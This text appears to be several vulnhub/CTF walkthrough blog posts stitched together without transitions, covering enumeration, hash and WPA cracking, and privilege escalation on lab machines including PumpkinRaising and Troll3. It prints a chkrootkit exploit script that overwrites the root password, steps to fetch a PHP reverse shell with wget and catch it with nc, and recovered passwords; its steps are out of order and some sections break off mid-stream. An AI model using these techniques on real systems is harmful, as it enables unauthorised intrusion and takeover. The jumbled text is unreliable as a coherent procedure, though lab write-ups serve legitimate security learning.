PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| 3.0K 2020-07-07 16:36 save.zip
We were able to get some juicy information and I am not going to write here each file, however, I am sure you know well that shadow file is the hashed form of the password for the users. I think this may be enough.
We need to break the hash, so let’s use john for the task and take necessary hashes and make it in one form.
Now we can see that it no longer showing us rbash restriction rather command not found which means, the binary or the command path needs to be fixed here.
What I tried was I echo the PATH of my Kali Machine and copied this path and set it to the target machine. Perhaps you might understand it better if you see this screenshot.
Ok, let’s download pspy on Kali Machine and they transfer that to out targetted machine. I use SimpleHTTPServer to do the work, of course, you can have your own method :)
Let’s do a searchexploit chkrootkit or search chkrootkit on google (it will show exploit-db which is GUI of searchsploit).
When we read the exploit steps (like how to configure and how to use it), it tells us this..
The steps are quite self-explanatory, however, what I did here is, I checked the location of the NC program in the target box and then let it run /bin/sh with port 1234, to reverse a connection to IP address 192.168.56.33 (My Kali Machine). Of course, as per the instruction we need to give execution permission to out executable file
Note: I checked the cron entry and I was not able to find any relevant information that whether update (which we have created) is running nor I found chkrootkit related. Interestingly when I check the process through pspy64, periodically /tmp/update is running. Therefore, we can leverage that to our purpose. By the way, this might be because when we run this program honeypot.decoy, it triggers the chkrootkit.
Exploit 1:
#!/bin/bash
echo 'root:tcert.net' | sudo chpasswd
save it as update (by the way, you have to use nano editor this time because if I am not wrong vi editor is not available)
chmod +s update (I sipped tea and look around) and then
su - root
password: tcert.net
Exploit 2: (It didn’t work for me. I need to dig little deeper)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
username:itsskv
cybersploit
CyBeRSplOiT
I ran nikto but didn’t get information but gobuster did give me something..
gobuster dir -u 192.168.56.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8080/tcp open http BusyBox httpd 1.13
8999/tcp open http WebFS httpd 1.21
9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)
http://192.168.56.38:8999
Let’s download WPA-01.cap
Let’s run the packet in wireshark
wireshark WPA-01.cap &
I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.
Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password? You might know if you have read this post.
Yeah I did run aircrack-ng on the CAP file with rockyou file.
/var/www/bolt/public/files it has the 777 permissions
If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.
Let’s do that..
On Kali Machine
I have downloaded and stored my shells and other tools at /opt
python -m SimpleHTTPServer 8000
On Victim01 Machine
cd /var/www/bolt/public/files/
wget 192.168.56.33:8000/php-reverse-shell.php
chmod +x php-reverse-shell.php
And also change the IP address and Port of your choice. Mine IP: 192.168.56.33 Port:1234
Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.
I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.
sV reveal what services are running on the target machine with respective version numbers
-p- it means scan all the ports (65535)
-o ouput save to nmap.log
When I look at the vm, I can see that there is start:here. I tried ssh with start as username and here as the password
Since the user “start” not a sudo user therefore, I was not able to know what sudo command it could run.
However, there were two folders.
bluepill
awesome_work
redpill
this_will_surely_work
Both awesome_work and this_will_surely_work are ASCII text file.
bluepill has a shorten link, I am afraid it might automatically do some drive-by attack at hind, so let’s do a virustotal scan.
Virustotal report didn’t show any threat. (nevertheless, some good cryptor could bypass such scan and let’s not discuss it here)
Now, let’s unshorten the link. There are many free services available online and you can choose based on your preference.
Ok, it’s just a rabbit hole.
cat redpill/this_will_surely_work
Another rabbit hole : (
Let’s enumerate the target machine, whether it has only binary or file which has enabled SUID or SGID.
<code>find / -perm 0777 -type f 2>/dev/null
Since, I am using uBuntu Desktop, I need to install openssh-server package to receive binaries from the target machine.
Narration: I am trying to transfer wytshadow.pcap file from the victim machine to my local machine at /home/researcher/vulhub/Troll3/2
Transfer the gold_star.txt (looks like it is list of password dictionary)
We can analyze the wytshadow.cap with Wireshark (GUI) software. However, we will try to analyze it with tcpdump (Terminal) software.
tcpdump pending
By the look of it, I am going to guess wytshadow as username and password are in the .cap file.
We can crack the password using aircrack-ng package with password dictionary list which we got from the victim machine – gold_star.txt .
<code>aircrack-ng -w gold_star.txt wytshadow.cap
gaUoCe34t1
<code>ssh wytshadow@192.168.56.26
password: gaUoCe34t1
./oohfun
control+c to stop the execution
I checked crontab and no entry was there.
let’s figure out whether any sudo enabled binary is there.
password: gaUoCe34t1
Yes, we got something
Let’s checkout nginx configuration file, enumerate on which port it is listening. You might think why I am all of sudden taking interest in the config file. It’s because sudo is enabled on nginx. Therefore, I am trying to find some information which could be leveraged.
<code>cat /etc/nginx/sites-enabled/default
You can see that there is a service Lynx is going to run on port 8080, if nginx runs.
Let’s verify whether is there any process running with port 8080.
<code>netstat -ntap
Actually, this is a redundant task because we know that from the nmap.log result, we can conclude that no service is running on port 8080.
Anyway, let’s start the nginx service and, I need to google and get to know little bit about Lynx service
/usr/sbin/service nginx start
now, Lynx is listening at port 8080.
I understood now the usage of Lynx. It is more like a browser for the command line. You can read more from here.
Pumpkin Raising Machine IP Address: 192.168.56.17
My Machine IP Address: 192.168.56.1
Mission:
Mission-Pumpkin v1.0 is a beginner level CTF series, created by keeping beginners in mind. This CTF series is for people who have basic knowledge of hacking tools and techniques but struggling to apply known tools. I believe that machines in this series will encourage beginners to learn the concepts by solving problems. PumpkinRaising is Level 2 of series of 3 machines under Mission-Pumpkin v1.0. The Level 1 ends by accessing PumpkinGarden_Key file, this level is all about identifying 4 pumpkin seeds (4 Flags - Seed ID’s) and gain access to root and capture final Flag.txt file.
Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-01 13:30 IST
Nmap scan report for 192.168.56.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
| http-robots.txt: 23 disallowed entries (15 shown)
| /includes/ /scripts/ /js/ /secrets/ /css/ /themes/
| /CHANGELOG.txt /underconstruction.html /info.php /hidden/note.txt
| /INSTALL.mysql.txt /seeds/seed.txt.gpg /js/hidden.js /comment/reply/
|_/filter/tips/
|_http-server-header: Apache
|_http-title: Mission-Pumpkin
Step 02:
Actually, nmap is revealing enough information to go through however, let me stick with my methodology.
Since it is clearly running a web server on port 80. Let’s visit the website and check their source code first.
When I see there is an images folder. I was little excited because we got a beautiful tip in previous box. (It is here)
Ops!
Step 03:
You can also see that there is a base64 encoded message in the source code.
I thought this may reveal a big secret like it did in my previous pumpkin box. However, it just turned to be a little troll :)
As I was going through the source code, I see a link to pumpkin.html
I took down name of the characters in my note, perhaps I could use that for some bruteforce purpose because we know that the machine is running ssh on port 22 (through nmap scanning).
In the source code, there is another encoded string, which is turn out to be base32. (I did some reading on base32 and tried myself to ensure that this string is base32).
besides, if you scroll down to bottom, you will see there is some hex string with it.
For time being, I save those hex to a file called hex.txt and keep it here for sometime, because we need to decode that base32 string.
I did download that pcap file and tried to trace it in wireshark
Follow the TCP Stream
Based on figure 3 and 4, we can conclude that we got another seed. Do you see that?
If not, see it closely..
To be honest, I didn’t see it at first, so what I did was, I know the SEED ID is 50609.
So, I did run a string command and everything become very clear.
See here
strings spy.pcap
Hence we got a Jack-Be-Little Pumpkin seeds ID: 50609
Step 04:
Don’t forget that we have an encoded hex string which need to be decoded. Here we go
cat hex.txt | xxd -p -r
Acorn Pumpkin Seeds ID: 96454
Step 05:
Let’s check the presence of robots.txt file
Output:
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used: http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
# Directories
Disallow: /includes/
Disallow: /scripts/
Disallow: /js/
Disallow: /secrets/
Disallow: /css/
Disallow: /themes/
#Images
Allow: /images/*.gif
Allow: /images/*.jpg
# Files
Disallow: /CHANGELOG.txt
Disallow: /underconstruction.html
Disallow: /info.php
Disallow: /hidden/note.txt
Disallow: /INSTALL.mysql.txt
Disallow: /seeds/seed.txt.gpg
Disallow: /js/hidden.js
# Paths (clean URLs)
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /scripts/pcap
Disallow: /node/add/
Disallow: /security/gettips/
Disallow: /search/hidden/
Disallow: /user/addme/
Disallow: /user/donotopen/
Disallow: /user/
Disallow: /user/settings/
I must admit that when I see this exhaustive list, I was extremely excited however, out of all, only those bold colored where actually working (or revealing information that is of my interest).
Step 04:
While I was going through the folders (enshrined in the robots.txt), I found this interesting information .
Robert : C@43r0VqG2=
Mark : Qn@F5zMg4T
goblin : 79675-06172-65206-17765
I thought it might be some SSH credentials (as you can see from the nmap result that ssh is running). However, it didn’t work. So I make a note of it and proceed with my enumeration.
Step 05:
I found another intriguing information at 192.168.56.101/seeds/seed.txt.gpg , see here. This file is encrypted with gpg
I tried different passwords which you got from above enumeration
Password: SEEDWATERSUNLIGHT
Probably you might think, how this guy got the password SEEDWATERSUNLIGHT ? True, what I did was, I took down almost all words which I think could be password to a list and tried every one of them manually. (Following screenshot is my note)
By the way, I found this word from here. If you view the source code, you will know that the sign – is nothing but a space.
Do you see the space in source code? (Don’t look at the selected strings)
see my failed attempt lol
Finally I got this..
based on some google, I found that above pictorial representation is a mores code.
So, we had to decode. You can simple google, decode mores code online tool. There are many online tools and out of those, I love this the most. Here is the link.https://gchq.github.io/CyberChef/
It has many other features as well and all you have to do is search mores code and chose the option, From Mores Code option.
We got a SEED:
BIGMAXPUMPKIN SEEDS ID: 69507
I know little about stenography. After knowing that, I build a habit of myself to run exiftool, strings and stegosuite command to extract information out of any media files. Trust me it is very tedious task however, it does pay you sometime out of nowhere lol.
Having said that, one image really carried a text file with it.
I couldn’t recall the exact box, however, once I was pwning a box when I select all the website, certain message just shows there. Therefore, I did a Control+A and do you see what I see in this message ??
From this image and our previous knowledge on this box, we can expect that there is a gif file called jackolantern.gif under images, which deduced to
Truly there is an image by that name and the way, how author has hide this image in a meticulous way, it definitely speaks out a lot.
Yes, after running stegosuite command with all the password. Finally we found something useful.
command:
stegosuite -x jackolantern.gif -k Qn@F5zMg4T
We were able to extract a text message called decorative.txt
cat decorative.txt
We got another SEED ID i.e.
Lil’ Pump-Ke-Mon Pumpkin seeds ID : 86568
I wish you to know that, it is not the result but I think we need to celebrate the process as well.. Like trying and enumerating everything that you could think of..
To attest what I am saying, I will enclosed one screenshot …:)
If we read carefully of those note written on the website, we got hint that we need to arrange the pumpkin seed id in order. And At that time, this screenshot helped me to order them.
Sequence of the respected pumpkin and their seedIDs:
First one is called "Big Max Pumpkin": 69507
Second: "Jack-be-little": 50609
third: "Acorn Pumpkin": 96454
forth: "Little Pump-ke-Mon": 86568
I have tried many combinations to login to ssh with different users and passwords that we got so far… Here is the note.
(many) failed attempts: (one example)
I found that following credential gives us a shell.
Username: jack
password: 69507506099645486568
Out of many rudimentary things like checking cron entries, SUID files, kernel etc. I check sudo user account ..
I used this website to decrypt. 
